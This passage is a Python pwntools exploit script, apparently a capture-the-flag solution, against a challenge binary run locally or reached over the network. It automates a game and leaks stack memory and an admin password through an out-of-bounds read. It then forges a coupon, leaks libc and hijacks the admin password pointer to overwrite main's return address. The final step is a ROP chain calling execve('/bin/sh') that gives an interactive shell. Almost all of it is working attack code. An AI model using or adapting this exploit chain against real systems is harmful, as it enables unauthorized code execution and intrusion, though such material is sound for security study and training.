    for d in direction:
        s.send(d.encode())
        s.recvuntil(b"||")
        try:
            r = s.recvuntil(b"||", timeout=3)
        except TimeoutError:
            log.failure(f"game lost :(")
            exit()
    return r

def win_game(s):
    while 1:
        s.sendline(b"2")
        r = s.recvuntil(b"||")
        positions = parse_map(r)
        item_col = sorted(set([item[1] for item in positions['I']]))
        log.info(f"items located in col {item_col}")

        # die if too close
        die = 0
        if item_col[0] < 10:
            log.info("I would rather kill myself...")
            die = 1
            while r := move(s, 'f'):
                if b"Game Over!" in r:
                    s.send(b"\n")
                    break
        if die:
            continue
        
        # go to 0, 0
        direction = 'w' * 6
        direction += 's' * 8
        direction += 'a' * 30
        r = move(s, direction)
        parse_map(r)

        # farm items
        for c in item_col:
            log.info(f"farming item in col {c}")
            direction = 'w' * 16
            direction += 'd' * (c - 2)
            direction += 's' * 16
            direction += 'a' * (c - 2)
            r = move(s, direction)
            parse_map(r)
            
        # fight!
        while r := move(s, 'f'):
            if b"Game Over!" in r:
                s.send(b"\n")
                return s.recvuntil(b" : \r\n")

code_base = 0x555555554000
bp = {
    'login_switch_main' : code_base + 0x24145,
    'join' : code_base + 0x8A4A,
    'free_join' : code_base + 0x8F44,
    'login' : code_base + 0x23FFE,
    'after_login' : code_base + 0x240D2,
    'ret_main' : code_base + 0x24A1D,
}

gs = f'''
b *{bp["ret_main"]}
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']

def main(server, port, debug):
    if(port):
        s = remote(server, port)
        if debug:
            pid = os.popen(f"sudo docker top {CONTAINER} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
            gdb.attach(int(pid), gs, exe=BINARY)
    else:
        s = process(BINARY, env={"LD_PRELOAD" : LIBRARY})
        if debug:
            gdb.attach(s, gs)
    elf = ELF(BINARY)
    lib = ELF(LIBRARY)
    s.recvuntil(b"Choice : \r\n").decode()
    
    # memory leak using OOB
    ml = memory_leak(s)
    stack = u64(ml[0:8])
    admin_pw = ml[0x10:0x18]
    log.info(f"stack : {hex(stack)}")
    log.info(f"admin pw : {admin_pw.decode()}")

    # join fake "Welcome!"
    r = join(s, b"Welcome!", b"Welcome@", b"Welcome#", 0x10)
    coupon = r.split(b"issued : ")[1].split(b"\r\n")[0]
    log.info(f"coupon : {coupon}")
    login(s, b"Welcome!", ml + b"\x00\x00")

    # counterfeit coupon
    if not apply_coupon_quadra(s, coupon):
        log.failure(f"bad coupon :(")
        exit()

    # win game to be regular member
    if b"regular member" not in win_game(s):
        log.failure(f"game lost :(")
        exit()
    log.success(f"game win!")
    s.sendlinethen(b"Choice : \r\n", b'y')

    # libc leak by increasing login_success(email_size)
    logout(s)
    for _ in range(0xa0):
        login(s, b"Welcome!", b"Welcome@")
        logout(s)
    login(s, b"Welcome!", ml + b"\x00\x00")
    r = print_info(s)
    libc = u64(r[0xcc:0xd4])
    lib.address = libc - 0x29d90
    log.info(f"libc : {hex(lib.address)}")

    # change admin->pw to point return address of main
    ret = stack + 0xd98
    change_pw(s, p64(ret) + p64(0x8))
    
    # overwrite return address
    logout(s)
    pop_rdi_ret = lib.address + 0x2a3e5
    pop_rsi_ret = lib.address + 0x2be51
    pop_rdx_rbx_ret = lib.address + 0x904a9
    payload = p64(pop_rdi_ret)
    payload += p64(next(lib.search(b"/bin/sh")))
    payload += p64(pop_rsi_ret)
    payload += p64(0)
    payload += p64(pop_rdx_rbx_ret)
    payload += p64(0)
    payload += p64(0)
    payload += p64(lib.symbols["execve"])
    login(s, b"admin", p64(libc))
    change_pw(s, payload)

    # restore admin->pw
    logout(s)
    login(s, b"Welcome!", p64(ret) + p64(len(payload)))
    change_pw(s, p64(stack) + p64(0x8))

    # trigger ret in main
    logout(s)
    quit_(s)

    s.interactive()

if __name__=='__main__':
    parser = ArgumentParser()
    parser.add_argument('-s', '--server', type=str, default="0.0.0.0")
    parser.add_argument('-p', '--port', type=int)
    parser.add_argument('-d', '--debug', type=int, default=1)
    args = parser.parse_args()
    main(args.server, args.port, args.debug)